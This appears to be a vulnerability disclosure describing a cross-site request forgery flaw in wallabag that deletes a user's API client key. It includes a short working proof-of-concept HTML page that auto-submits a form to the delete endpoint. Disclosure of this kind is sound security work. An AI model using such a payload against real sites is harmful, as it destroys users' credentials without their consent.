CSRF leading to delete Client API in API clients management in wallabag/wallabag
Reported on
Mar 31st 2023
Description
wallabag was discovered to contain a Cross-Site Request Forgery (CSRF) which allows attackers to arbitrarily delete API key via
client/delete/{id}
Proof of Concept
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.125.133/developer/client/delete/2">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Impact
This vulnerability is capable of tricking a user to delete their own API key
Occurrences
thanks @nicosomb, i hope this vulnerability can be assigned a CVE